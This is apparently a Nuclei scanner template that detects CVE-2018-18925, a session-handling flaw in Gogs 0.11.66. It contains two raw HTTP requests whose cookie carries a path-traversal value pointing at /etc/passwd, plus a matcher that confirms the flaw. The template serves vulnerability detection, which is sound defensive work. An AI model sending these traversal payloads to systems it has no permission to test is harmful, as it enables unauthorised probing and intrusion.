46 lines
1.7 KiB
YAML
46 lines
1.7 KiB
YAML
id: CVE-2018-18925
|
|
|
|
info:
|
|
name: Gogs (Go Git Service) 0.11.66 - Remote Code Execution
|
|
author: princechaddha
|
|
severity: critical
|
|
description: Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a ".." session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron.
|
|
remediation: This issue will be fixed by updating to the latest version of Gogs.
|
|
reference:
|
|
- https://www.anquanke.com/post/id/163575
|
|
- https://github.com/vulhub/vulhub/tree/master/gogs/CVE-2018-18925
|
|
- https://nvd.nist.gov/vuln/detail/cve-2018-18925
|
|
- https://github.com/gogs/gogs/issues/5469
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2018-18925
|
|
cwe-id: CWE-384
|
|
epss-score: 0.09538
|
|
epss-percentile: 0.94092
|
|
cpe: cpe:2.3:a:gogs:gogs:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: gogs
|
|
product: gogs
|
|
tags: gogs,lfi,rce,vulhub,cve,cve2018
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Cookie: lang=en-US; i_like_gogits=../../../../etc/passwd;
|
|
- |
|
|
GET / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Cookie: lang=en-US; i_like_gogits=../../../../etc/dummy;
|
|
|
|
req-condition: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code_1 == 500 && status_code_2 == 200 && contains(body_2, "<meta name=\"author\" content=\"Gogs\" />")'
|
|
|
|
# digest: 4a0a004730450220197e7599a0b5ce35f38ea8a3a2ebdfeb7db488c7061593ac5d647c982fef9ba90221008193866dfb832effc3b3d9e06197c386d37494f5021a32de1e6e8d77a8de7975:922c64590222798bb761d5b6d8e72950
|